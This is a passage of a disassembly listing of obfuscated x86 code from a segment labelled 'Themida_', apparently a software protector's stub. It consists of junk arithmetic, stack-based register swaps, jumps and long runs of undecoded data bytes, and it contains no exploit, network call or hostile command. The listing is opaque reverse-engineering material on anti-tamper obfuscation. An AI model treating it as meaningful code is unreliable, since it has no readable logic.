loc_55FBDF ; --------------------------------------------------------------------------- db 0F7h dd 0EC8196D0h, 4, 0B9240C89h, 4D954887h, 81FFE983h, 0C6AA1F1h dd 0C181496Bh, 1306461Dh, 0FFB9D5E9h, 31E95EFFh, 50FFFFD2h dd 125E7DB8h, 4350E933h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D116: ; CODE XREF: Themida_:00554839j not ebx xor ebx, 8837A486h mov ebp, ebx pop ebx jmp loc_55106E ; --------------------------------------------------------------------------- dw 0DCF6h dd 0CC80C4FEh, 0BFEC80B9h, 0FF73D9E9h, 0E28952FFh, 4C281h dd 0EA830000h, 24148704h, 2404895Ch, 405E089h, 5000000h dd 4, 0E9240487h, 0FFFFEB05h, 0E904C483h, 820Eh, 66CD2966h dd 49E95B59h, 81FFFFD6h, 4ECh, 24148900h, 6EA2BF57h, 0A8E93370h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D183: ; CODE XREF: Themida_:0055C54Aj mov [esp], ecx push 4 mov ecx, [esp] jmp loc_55E8E5 ; --------------------------------------------------------------------------- byte_55D193 db 0FFh ; DATA XREF: Themida_:00550DECo dd 4BE92434h, 68FFFFD6h, 737Fh, 0FFA27FE9h, 240431FFh dd 5C240433h, 68240489h, 25667F5Fh, 5711E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1BA: ; CODE XREF: Themida_:0055F64Dj add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5554D1 ; --------------------------------------------------------------------------- db 33h dd 1C31241Ch, 241C3324h, 6424248Bh, 80E90288h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1DF: ; CODE XREF: Themida_:00555514j mov ebp, 15C93929h mov edi, 0A50E30Bh sub edi, 21E138E6h add edi, ebp add edi, 21E138E6h pop ebp sub ebp, edi pop edi jmp loc_55C0E1 ; --------------------------------------------------------------------------- loc_55D200: ; CODE XREF: Themida_:005541EFj mov eax, 9EE440Eh add ebp, eax pop eax jmp loc_55B387 ; --------------------------------------------------------------------------- db 81h, 0EBh, 86h dd 5976DB19h, 34FFDF89h, 0C4835B24h, 4EC8304h, 0FF8884E9h dd 2C895CFFh, 4EC8124h, 89000000h, 0FEBB241Ch, 89000000h dd 55505BDDh, 0FF4D0EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D241: ; CODE XREF: Themida_:0055954Cj add edx, eax jmp loc_553A6E ; --------------------------------------------------------------------------- dd 99FDE957h, 0BE56FFFFh, 0 dd 815EF589h, 73544C5h, 368DE963h, 0BD680000h, 89000034h dd 468243Ch, 8B000000h, 0C481243Ch, 4, 3C8BFE01h, 0E9545224h dd 4756h, 4B9BF681h, 0EE8126FBh, 6A013F60h, 0C15EF389h dd 0D3F707E3h, 0BD55h, 0DD290000h, 815DEB89h, 1D4B31F3h dd 93EB810Ch, 1987A8Fh, 0EC815BDEh, 4, 1098E9h, 48F5400h dd 4B95124h, 1000000h, 5904244Ch, 83240C8Bh, 31E904C4h dd 52FFFFD2h, 0D5240481h, 5F2E1343h, 43D5EF81h, 0E95A2E13h dd 0FFFFA254h, 6DF4E981h, 0F1010EFAh, 0FF498BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D2F9: ; CODE XREF: Themida_:00560C6Dj mov [esp], eax jmp loc_550F5F ; --------------------------------------------------------------------------- loc_55D301: ; CODE XREF: Themida_:00552E2Fj shl edx, 4 push ecx push esi mov esi, 6B825F7Ah jmp loc_5521B3 ; --------------------------------------------------------------------------- dd 0E92434FFh, 2499h, 2DE6C781h, 0CDE90D2Ch, 57000014h dd 0FFA16EE9h, 4BEFFh, 0B6E90000h, 89000008h, 0B850243Ch dd 59C603F3h, 5058C789h, 894B04B8h, 8BC7293Bh, 0C4812404h dd 4, 6908C781h, 0F9313939h, 81D9E95Fh, 148B0000h, 5FBDE924h dd 89570000h, 4C781E7h, 83000000h, 3C8704C7h, 0E9C15C24h dd 0D9F74907h, 484BF181h, 0C581F9AFh, 44F126E2h, 0ED81CD01h dd 44F126E2h, 51B95159h, 81255428h, 1E5B70C1h, 0E5E9813Ch dd 12C9F22h, 0F52959CDh, 60DCED81h, 0ED8134D3h, 75C0B2Bh dd 8124348Bh, 4C4h, 8BE83100h, 0E952242Ch, 0FFFFE75Ah dd 24048F5Eh, 2DF8015Ch, 2F1D56C9h, 0E689565Fh, 4C681h dd 0BB530000h, 4, 875BDE29h, 0D0E92434h, 89FFFFCBh, 9668241Ch dd 8900002Bh, 19682404h, 5874EB0Fh, 4FA7E9h, 0AFB65200h dd 6623CE80h, 28ECB151h, 0E95966CEh, 0FFFFA7A6h ; --------------------------------------------------------------------------- loc_55D418: ; CODE XREF: Themida_:0055216Aj push ebx mov ebx, 72955BBDh jmp loc_555F21 ; --------------------------------------------------------------------------- db 89h dd 0E2892414h, 2877E9h, 0FCEE8100h, 8B49B022h, 0CE92414h dd 8900006Bh, 0C868242Ch, 89000075h, 4812424h, 424h, 0C5815D00h dd 4, 1DBDBF57h, 55E97B79h, 1000077h, 0EA8159CAh, 702A7E8Bh dd 0C229392Dh, 268AE929h, 0C2010000h, 8124048Bh, 4C4h dd 0F7E95000h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D483: ; CODE XREF: Themida_:0055659Ej push eax not dword ptr [esp] pop eax add eax, 79502BB1h dec eax not eax xor eax, 82A4F192h jmp loc_55A9E5 ; --------------------------------------------------------------------------- loc_55D49A: ; CODE XREF: Themida_:0055AAE2j jmp loc_550F5F ; --------------------------------------------------------------------------- db 81h dd 526352C5h, 0E9D5F774h, 81CFh, 8B24048Fh, 2CD22424h dd 0A4E99C24h, 5EFFFF3Ah, 0FF943EE9h, 0E95E58FFh, 0FFFF40B2h ; --------------------------------------------------------------------------- loc_55D4C8: ; CODE XREF: Themida_:0055E164j mov ebx, esp add ebx, 4 jmp loc_552930 ; --------------------------------------------------------------------------- byte_55D4D5 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00550EACo dd 1858669Dh, 0E99C2404h, 0FFFF54ADh ; --------------------------------------------------------------------------- loc_55D4E4: ; CODE XREF: Themida_:0055D00Fj pop ebp jmp loc_5536AD ; --------------------------------------------------------------------------- loc_55D4EA: ; CODE XREF: Themida_:005573A1j xchg ecx, [esp] push ecx not dword ptr [esp] pop ecx xchg ecx, [esp] mov edi, [esp] add esp, 4 xor eax, edi xor edi, eax xor eax, edi xchg eax, ebp push ebx mov ebx, 7417796Dh add ebx, 3323E75Ch sub ebp, ebx pop ebx xor eax, ebp mov ebp, [esp] add esp, 4 jmp loc_55A800 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 22C968h, 240C8900h, 0C8B23FB1h, 0B0E9CA00h, 7Eh, 0E95A66F0h dd 0FFFF93CAh ; --------------------------------------------------------------------------- loc_55D540: ; CODE XREF: Themida_:0055CF0Fj mov [esp], eax mov eax, 70087AB8h push esi mov esi, eax jmp loc_563B81 ; --------------------------------------------------------------------------- dd 0E902EEC1h, 0FFFF4DA0h ; --------------------------------------------------------------------------- loc_55D558: ; CODE XREF: Themida_:0055B323j pop esi jmp loc_561E7A ; --------------------------------------------------------------------------- dw 0F681h dd 40CB3C9Fh, 0B1E9EE87h db 57h, 2 dup(0FFh) byte_55D56B db 0FFh ; DATA XREF: Themida_:00550E7Co dd 0FBE92434h, 53000039h, 4EC81h, 0A1E90000h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D57F: ; CODE XREF: Themida_:00563C18j pop ecx add ecx, ebx pop ebx push ecx push dword ptr [esp+4] jmp loc_557D89 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0E9CA015Ch, 1287h ; --------------------------------------------------------------------------- loc_55D598: ; CODE XREF: Themida_:0055C766j push edx mov edx, 496752A3h xor ebp, edx pop edx add edx, 0B317C1Dh sub edx, ebp jmp loc_5559FF ; --------------------------------------------------------------------------- loc_55D5AE: ; CODE XREF: Themida_:005606EDj add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_564DDD ; --------------------------------------------------------------------------- dd 2486D4F6h, 51665A24h, 0CA0028B1h, 51665966h, 0CA207CB1h dd 240C8B66h, 2C481h, 0EA800000h, 0A3EB80C8h, 0C380D300h dd 0EB285AA3h, 0FF64EB80h, 34FF2434h, 0C4815924h, 4, 53E28952h dd 5E54CCBBh, 3DEB8132h, 8141513Eh, 7B7A10EBh, 4378E90Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D61E: ; CODE XREF: Themida_:0055FAE8j mov [esp], eax not dword ptr [esp] jmp loc_56283F ; --------------------------------------------------------------------------- db 80h, 0F5h, 5 a0isE db '0КИ e',0 dw 0B800h dd 5299077Fh, 0B625D8F7h, 2D37E073h, 1, 9F8F8505h, 58C701DAh dd 4C781h, 3C330000h, 0A395E924h, 0E128FFFFh, 1EC8E9h dd 4EC8100h, 0E9000000h, 0BF1h, 7E5C15Ah, 0C581DDF7h, 79E1EBFh dd 0A2E9D5F7h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D67F: ; CODE XREF: Themida_:005633C5j sub ebx, ebp jmp loc_55B16C ; --------------------------------------------------------------------------- loc_55D686: ; CODE XREF: Themida_:00559C5Ej or ebp, 3E993A1Eh jmp loc_557316 ; --------------------------------------------------------------------------- aRSysZUhyd db 'R╨sY▒;)жZ)Нhyd',0 dd 242C8900h, 0A11572BDh, 5E5C137h, 60E9DDF7h, 81FFFFD7h dd 4C4h, 4C48300h, 205h, 74FF5000h, 8F580424h, 665C2404h dd 6824048Bh, 519Dh, 89242C89h, 4EC81E5h, 89000000h, 4682434h dd 5E000000h, 34FFF501h, 2434FF24h, 0FFB99FE9h, 0F72959FFh dd 5358E9h db 0 ; --------------------------------------------------------------------------- loc_55D6FD: ; CODE XREF: Themida_:0055788Ej pop esi add dword ptr [esp+8], 1DC730EEh add [esp+8], ebx sub dword ptr [esp+8], 1DC730EEh pop ebx jmp loc_5512A7 ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 4631h, 0C681E689h, 4, 4B951h, 0CE010000h dd 4F01E9h, 4C28100h, 81000000h, 4C2h, 24148700h, 1AB7E9h db 0 ; --------------------------------------------------------------------------- loc_55D749: ; CODE XREF: Themida_:0055F0B8j push esi mov esi, 4 jmp loc_559865 ; --------------------------------------------------------------------------- dd 331CF181h, 0F1812BD6h, 5347AC8h, 3722E9h db 0 ; --------------------------------------------------------------------------- loc_55D765: ; CODE XREF: Themida_:00561125j pop dword ptr [esp] pop esp mov [esp], edi jmp loc_552AE3 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 38CAE9h, 56E46800h, 4890000h, 1C87B824h, 1052C23h, 92000000h dd 0E950D2F7h, 80F4h ; --------------------------------------------------------------------------- loc_55D794: ; CODE XREF: Themida_:00552F03j add esp, 4 push ebx push edx mov edx, 49C20D11h neg edx xor edx, 0CA91822Ah mov ebx, edx pop edx push esi mov esi, 4AA752C6h shl esi, 8 jmp loc_555AD5 ; --------------------------------------------------------------------------- dw 0C89h dd 0FDBB5324h, 0E9178C26h, 400Ch, 0B9FFFDBFh, 279DE99Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D7D2: ; CODE XREF: Themida_:00565B8Ej push dword ptr [esp] pop ebx sub esp, 4 jmp loc_5542D5 ; --------------------------------------------------------------------------- loc_55D7E1: ; CODE XREF: Themida_:0055AC95j add esi, 4 add esi, 4 push 7E13h mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] sub esp, 4 jmp loc_553C31 ; --------------------------------------------------------------------------- db 81h, 0EFh, 85h dd 57E4902h, 7C9104B0h, 0B02DF801h, 0E97C9104h, 0FFFF97C6h dword_55D81C dd 24048B66h, 8904EC83h, 0E954242Ch, 894h, 6D9EA81h, 525E1783h ; DATA XREF: Themida_:00550EF0o dd 0FF388DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D839: ; CODE XREF: Themida_:0055CC82j mov esi, 3A110B18h sub [esp+4], esi pop esi pop eax push edx jmp loc_5510BC ; --------------------------------------------------------------------------- dw 0C681h dd 73BF0E64h, 2B95159h, 0E9000000h, 0FFFF6767h, 8104EB83h dd 4ECh, 241C8900h, 2353E9h db 0 byte_55D86D db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550D38o db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_558ACD ; --------------------------------------------------------------------------- loc_55D87B: ; CODE XREF: Themida_:005529A3j xchg eax, [esp] jmp loc_562153 ; --------------------------------------------------------------------------- db 8Bh dd 14892424h, 1CBE5624h, 89000000h, 0C2815EF2h, 34576BDh dd 53DDC281h, 0FA012EB7h, 53DDEA81h, 0E9532EB7h, 0FFFF5FC6h ; --------------------------------------------------------------------------- loc_55D8AC: ; CODE XREF: Themida_:00557ED4j add ebx, esi pop esi push ebp mov ebp, 4 add ebx, ebp jmp loc_55A1FA ; --------------------------------------------------------------------------- loc_55D8BC: ; CODE XREF: Themida_:005572ACj mov dh, 0Bh jmp loc_5559AB ; --------------------------------------------------------------------------- byte_55D8C3 db 8Bh ; DATA XREF: Themida_:00550CBCo dd 89532404h, 1F2968E3h, 3C890000h, 1FE95124h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D8D7: ; CODE XREF: Themida_:00561DF0j add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_552E20 ; --------------------------------------------------------------------------- loc_55D8EB: ; CODE XREF: Themida_:0055EE85j push dword ptr [esp] jmp loc_5649FD ; --------------------------------------------------------------------------- loc_55D8F3: ; CODE XREF: Themida_:00553C1Aj xchg edi, [esp] pop esp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_55FAE5 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 44810000h, 53690424h, 6C81795Ch, 55520424h, 74012CE2h dd 44810424h, 55520424h, 6C812CE2h, 53690424h, 0FF5E795Ch dd 348B2434h, 4C48324h, 81E68956h, 4C6h, 4C68300h, 5C243487h dd 0FFAA22E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D94D: ; CODE XREF: Themida_:0055BCE5j xor [esp], ebx xor ebx, [esp] pop esp shr ecx, 0Ah push 14A6h mov [esp], ebx mov eax, [esp] sub esp, 4 mov [esp], edx push 5000h push 2747h push esp jmp loc_55543F ; --------------------------------------------------------------------------- db 55h dd 3FE26853h, 0DBE96EC3h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D987: ; CODE XREF: Themida_:005640BBj mov [esp], ebx push ecx jmp loc_555907 ; --------------------------------------------------------------------------- aHslc db 'HИLC',0 align 2 dw 1668h dd 89000005h, 0BABA2414h, 891D285Dh, 6EB1E9D3h, 0C481FFFFh dd 4, 3B68E9h, 81DDF700h, 6A8DDC5h, 0E9EB296Dh, 0FFFF7E8Ah ; --------------------------------------------------------------------------- loc_55D9C4: ; CODE XREF: Themida_:00561633j mov edx, 62641D2h shl edx, 5 jmp loc_55513A ; --------------------------------------------------------------------------- loc_55D9D1: ; CODE XREF: Themida_:00561729j add esp, 4 push 505Ch mov [esp], eax mov eax, 2 push ebp push ecx push 9A75AB7h pop ecx sub ecx, 5F8366ADh inc ecx sub ecx, 157B2BADh sub ecx, 7AA68C87h mov ebp, ecx pop ecx or ebp, 78E077FEh and ebp, 2F5265E7h xor ebp, 5E3735E2h xor ebp, 13B929EAh or ebp, 5C5659Ch sub ebp, 541551F7h add ebx, ebp pop ebp jmp loc_55610A ; --------------------------------------------------------------------------- loc_55DA2B: ; CODE XREF: Themida_:00562BFDj mov eax, [esp] add esp, 4 shl eax, 4 shl eax, 8 xor eax, 7A6848DBh mov ebp, eax pop eax push ecx mov ecx, ebp jmp loc_55F3A6 ; --------------------------------------------------------------------------- db 81h dd 6B044EE9h, 81C10136h, 6B044EC1h, 24048B36h, 8304C483h dd 0C3304C1h, 240C3124h, 8B240C33h, 4EE92424h, 81FFFFF2h dd 712041E5h, 81DDF757h, 0DFDFBBF5h, 0C0B7E9BAh, 0E95CFFFFh dd 801Ah, 0C781E789h, 4, 8702EF83h, 0FE9243Ch, 81FFFF54h dd 0CC3D83C1h, 8806E9C5h, 0C581FFFFh, 475939E1h, 0BB90E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DAB2: ; CODE XREF: Themida_:0055FABAj mov ecx, edx jmp loc_562E36 ; --------------------------------------------------------------------------- byte_55DAB9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550DD0o aHd db '$h└!',0 align 2 dw 1C89h dd 34FF5424h, 241C8B24h, 4C77E9h, 243C8B00h, 0FFEC4AE9h dd 8FB951FFh, 816C0A37h, 780D5FC1h, 59C8010Fh, 0B951D801h dd 33F63D7Bh, 3D9AE981h, 0E9C12FC7h, 0EFC18106h, 57B7188h dd 66964F4Eh, 4E2DC829h, 5966964Fh, 81241C8Bh, 4C4h, 24043300h dd 33240431h, 248B2404h, 4216624h, 34E99C24h, 5FFFF34h dd 4, 0FFD136E9h db 0FFh byte_55DB35 db 8Bh, 4, 24h ; DATA XREF: Themida_:00550ECCo dd 1A6D68h, 24048900h, 7B0568h, 24248900h, 46851h, 0C8B0000h dd 4C48124h, 1000000h, 5904244Ch, 606BE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DB62: ; CODE XREF: Themida_:005510ACj xchg ebp, [esp] pop esp push ecx jmp loc_55FD40 ; --------------------------------------------------------------------------- dd 0B9240C89h, 3D1E6D4Dh, 0FFE276E9h, 8D2D5DFFh, 892F7E0Ch dd 0BB5358C5h, 576D5279h, 3412E9h, 5BDA8900h, 5310F281h dd 0ABE939A1h, 89000030h, 9D0E9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DBA2: ; CODE XREF: Themida_:00564352j push ebp mov ebp, 4B624803h jmp loc_5633B8 ; --------------------------------------------------------------------------- byte_55DBAD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550E18o dd 0E9545224h, 0FFFF7407h, 0E0C1D0F7h, 10980D02h, 0BD55569Ah dd 42334CF2h, 0AAE9E821h, 89FFFFFFh, 54E95DE9h, 8FFFFD5h dd 0C1805BF9h, 8535E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DBE2: ; CODE XREF: Themida_:00562347j sub ebp, ecx jmp loc_5552E6 ; --------------------------------------------------------------------------- db 5, 0A2h, 0Eh dd 0F00127B0h, 0B00EA22Dh, 24348B27h, 4C481h, 0FF500000h dd 8B042474h, 0C4812404h, 4, 8B24048Fh, 0D5E92424h, 57FFFFA9h dd 0BB7356BFh, 5FFB314Dh, 0FF8285E9h, 3DEE81FFh, 81209018h dd 835B7EEh, 4EC830Ah, 0FFBA89E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DC39: ; CODE XREF: Themida_:00555FCDj mov edi, 64C47D3Fh dec edi neg edi push ebp jmp loc_55750C ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 83000000h, 1C8704C3h, 8AE95C24h, 53000022h dd 0FFE82DE9h, 0A46852FFh, 5A7D6479h, 7B9DE9h, 2434FF00h dd 4C4815Fh, 81000000h, 4ECh, 24148900h, 0EE8DF2BAh, 0FFC181F3h dd 1748316h, 0FFE981D1h, 5A748316h, 8359CB01h, 148904ECh dd 2BA24h, 43E90000h, 50FFFF49h, 8904EC83h, 56B7241Ch dd 0C7FED7F6h, 0EFD0D7F6h, 80FFEF80h, 7EE980F7h, 83FFFFC3h dd 9E904ECh, 81000072h, 0DD50D1C2h, 3BE95910h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DCD7: ; CODE XREF: Themida_:00565A0Aj add edi, ecx pop ecx add edi, 4 xchg edi, [esp] mov esp, [esp] add ebx, 4 sub esp, 4 mov [esp], edx mov edx, 757540F4h shr edx, 1 push esi push ebx mov ebx, 5EB278DBh jmp loc_5650FF ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 797E9CBEh, 62F0E91Ch, 0FA010000h, 0E9243C8Bh, 0FFFF9DF3h dd 5C24048Fh, 840FC009h, 0FFFFAA60h, 8904EC83h, 0E0892404h dd 0FFFF2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DD35: ; CODE XREF: Themida_:00551AFEj add ebp, 4 xchg ebp, [esp] pop esp push 1E93h jmp loc_552604 ; --------------------------------------------------------------------------- db 30h, 0C3h, 0Fh dd 48DC0B6h, 404B6887h, 8AE90000h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DD5B: ; CODE XREF: Themida_:00557123j sub ebx, 0CE6759Fh add ebx, edi add ebx, 0CE6759Fh xor [ebx], esi jmp loc_5612A9 ; --------------------------------------------------------------------------- aBLlS9 db '^│цlL[',9,'И>9',0 align 4 dd 405h, 4E88300h, 9D0CE950h, 8B66FFFFh, 0EC81240Ch, 4 dd 89240C89h, 42B3E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DD9E: ; CODE XREF: Themida_:0055E249j push 20000h jmp loc_564414 ; --------------------------------------------------------------------------- dd 683DEE81h, 0EE811B8Dh, 12D5B03Fh, 0FF8E4AE9h, 58C101FFh dd 0D7E9CF29h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DDC3: ; CODE XREF: Themida_:00552C7Fj sub edi, 321F295Bh sub edi, 395F23F7h push ecx jmp loc_553FEF ; --------------------------------------------------------------------------- db 5Fh, 81h, 0F6h dd 66D70696h, 295EF029h, 314B05F0h, 34FF79B8h db 24h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55EA2F ; --------------------------------------------------------------------------- loc_55DDF8: ; CODE XREF: Themida_:00562351j mov edi, edx jmp loc_55C4EF ; --------------------------------------------------------------------------- db 89h dd 2CE950E7h db 0F8h, 2 dup(0FFh) byte_55DE07 db 0FFh ; DATA XREF: Themida_:00550C80o dd 48B2434h, 4C48124h, 68000000h, 6A6h, 54241C89h, 0FF98A1E9h dd 0FED7F6FFh, 0C0D7F6C7h, 0EF8007E7h, 5BFA8872h, 8033CA80h dd 0D02874F2h, 0CDE9535Ah db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DE3F: ; CODE XREF: Themida_:0055E55Cj add esi, ebx pop ebx mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov eax, esi jmp loc_563711 ; --------------------------------------------------------------------------- loc_55DE5F: ; CODE XREF: Themida_:00551F2Dj mov ebx, esp add ebx, 4 jmp loc_553271 ; --------------------------------------------------------------------------- loc_55DE6C: ; CODE XREF: Themida_:0055AC07j sub ebx, eax pop eax push edi jmp loc_5598A1 ; --------------------------------------------------------------------------- db 0B1h, 0AFh, 0 dd 241C8BD9h, 81E38953h, 4C3h, 8A61E900h, 0CD01FFFFh, 0FFA0E4E9h dd 80CB00FFh, 5966F3EBh, 2852F380h, 241C8BDEh, 8004C483h dd 0F5002FF6h, 0E924148Bh, 0FFFF4F44h, 0F8CB815Bh, 0C1246839h dd 0E3C107E3h, 12BA5207h, 19A2313h, 0C2E95AD3h, 89FFFFFCh dd 24048BC3h, 1A43E9h, 24343300h, 8924248Bh, 0E189240Ch dd 459FE9h, 2434FF00h, 0FF5B2EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DEED: ; CODE XREF: Themida_:0055300Cj push edx mov edx, 4 add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] jmp loc_55ED4B ; --------------------------------------------------------------------------- byte_55DF01 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550DB8o dd 0E2895224h, 551AE9h db 0 ; --------------------------------------------------------------------------- loc_55DF0D: ; CODE XREF: Themida_:0055BCA7j add ecx, edx pop edx add ebp, 57FA1A6Dh sub ebp, 53FA2F1Ah add ebp, ecx add ebp, 53FA2F1Ah sub ebp, 57FA1A6Dh pop ecx push esi jmp loc_56152E ; --------------------------------------------------------------------------- db 57h, 0BFh, 0B6h dd 217A6529h, 736DE9FAh, 0C3280000h, 8078EB80h, 525865EBh dd 74E913B2h, 28FFFFD2h, 0E653E9D8h, 0C481FFFFh, 4, 0FF3719E9h dd 2FF9E9FFh, 0C89FFFFh, 0C8E6E924h, 895CFFFFh, 5E542434h dd 4C681h, 0BB530000h, 14D00D8Bh, 1DF2F381h, 0C381766Dh dd 9D42EF8Bh, 418AB951h, 0C68136B6h, 6D5364F1h, 0FF4558E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DF9D: ; CODE XREF: Themida_:0055F19Ej mov [esp], ecx mov ecx, 512A536Dh add ecx, 0D308C90Ah add [eax], ecx mov ecx, [esp] jmp loc_552444 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4Bh dd 89F9C509h, 5403E9D9h, 5158FFFFh, 174FD9B9h, 0B1C1814Bh dd 0F7222440h, 7E1C1D1h, 2B51BF57h, 0BBE94A1Eh, 81FFFF6Dh dd 0B52627C2h, 81C20118h, 0B52627EAh, 24048B18h, 0FF9530E9h dd 4EC83FFh, 54240489h, 8324048Bh, 0DD6804C4h, 8900000Dh dd 5051243Ch, 6A269FB8h, 7E0C17Fh, 8E3EE948h, 0E95BFFFFh dd 1C7h, 5604C483h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 12E92434h, 0BF000031h, 2, 3C8BFB01h, 0E3895324h, 4C381h dd 0C3810000h, 4, 4B568h, 9D6EE900h, 0E801FFFFh, 5425C52Dh dd 41982D7Eh, 685D5D58h, 870h, 89240C89h, 4BB53E1h, 1000000h dd 0E9815BD9h, 4, 0E9240C87h, 0FFFF4062h ; --------------------------------------------------------------------------- loc_55E08C: ; CODE XREF: Themida_:00555147j pop ebx pop edx push ebx push ebp push 5807236Bh pop ebp dec ebp add ebp, 0FFFFFFFFh jmp loc_560ED9 ; --------------------------------------------------------------------------- loc_55E09F: ; CODE XREF: Themida_:0055796Ej sub edx, 19D398Fh sub edx, eax add edx, 19D398Fh push 7A0h mov [esp], ebx mov ebx, 2E123Dh push edi jmp loc_554DF1 ; --------------------------------------------------------------------------- dd 5D2434FFh, 4C481h, 0DBE90000h, 5500000Ch, 0B61631BDh dd 0ED814549h, 49B6162Eh, 493DE9h db 0 byte_55E0E1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550DD8o dd 3429E9h db 0 ; --------------------------------------------------------------------------- loc_55E0E9: ; CODE XREF: Themida_:0055C25Cj mov edx, [esp] add esp, 4 add edx, 4 push ebp mov ebp, 2CD235BFh xor ebp, 32114BC6h not ebp xor ebp, 0E13C8182h jmp loc_551EA8 ; --------------------------------------------------------------------------- dw 248Bh dd 5EF4E924h, 0EE81FFFFh, 2AECA16Ch, 0E95EF729h, 0FFFF489Fh dd 8012CA80h, 0D50048C2h, 0FF3776E9h, 4C683FFh, 5C243487h dd 9F1E3A05h, 2DD8294Dh, 4D9F1E3Ah, 5F02F605h, 0DBA2E902h dd 0E953FFFFh, 0FFFF534Dh, 1724E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E15A: ; CODE XREF: Themida_:00565557j mov ecx, esp add ecx, 4 push ebp push ebx jmp loc_55D4C8 ; --------------------------------------------------------------------------- loc_55E169: ; CODE XREF: Themida_:00552AEBj add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push eax mov eax, esp jmp loc_56040C ; --------------------------------------------------------------------------- dword_55E180 dd 240C8B66h, 581668h, 24048900h, 0EC81E089h, 4, 0E9241C89h ; DATA XREF: Themida_:00550E64o dd 0FFFFC288h ; --------------------------------------------------------------------------- loc_55E19C: ; CODE XREF: Themida_:005530F5j add esp, 4 add edx, 2 xchg edx, [esp] pop esp btr [esp], ax pushf jmp loc_550F5F ; --------------------------------------------------------------------------- db 66h, 51h, 0B1h dd 28E12CC4h, 66E104C8h, 0E9240C8Bh, 0FFFFB7DCh, 83415B5Fh dd 148904ECh, 0F5E95324h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E1D3: ; CODE XREF: Themida_:0055FE13j mov edx, esp jmp loc_551149 ; --------------------------------------------------------------------------- dw 2C89h dd 38FEBD24h, 95E97DD0h, 0C1FFFF55h, 0E98106E9h, 0AA6B2462h dd 34FFCF89h, 0C4815924h, 4, 4465CF81h, 0EF81428Ch, 5ADE6E79h dd 34FFFB01h, 0A0685F24h, 8900003Eh, 0E589242Ch, 4C581h dd 3DE90000h, 8BFFFFC2h, 1EE92434h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E22B: ; CODE XREF: Themida_:0056215Cj mov [esp], edi push esp pop edi jmp loc_55AB0A ; --------------------------------------------------------------------------- loc_55E235: ; CODE XREF: Themida_:0055B8A5j pop ebx add ebp, 24084B26h pop esi sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edi jmp loc_55DD9E ; --------------------------------------------------------------------------- dw 2CB7h dd 0FFA01BE9h, 2414F7FFh, 0FFFD65E9h, 240C89FFh, 6142EBB9h dd 2BC9813Ah, 812A1F0Dh, 0B51FF2F1h, 4EC8327h, 0BF243C89h dd 753101C7h, 69AFC181h, 0F9296FD1h, 69AFE981h, 0E95F6FD1h dd 85Bh ; --------------------------------------------------------------------------- loc_55E290: ; CODE XREF: Themida_:00563EA8j push edx mov edx, 32765D1Ch neg edx shl edx, 7 add edx, 52E539B5h sub edx, 0A0976742h and edi, edx pop edx add edi, 1 not edi add edi, 2024466h add ecx, edi pop edi jmp loc_56161A ; --------------------------------------------------------------------------- dd 0EB30F281h, 0D5890AA2h, 8324148Bh, 0DDF704C4h, 37A8BF57h dd 0C781203Eh, 83D8F8C9h, 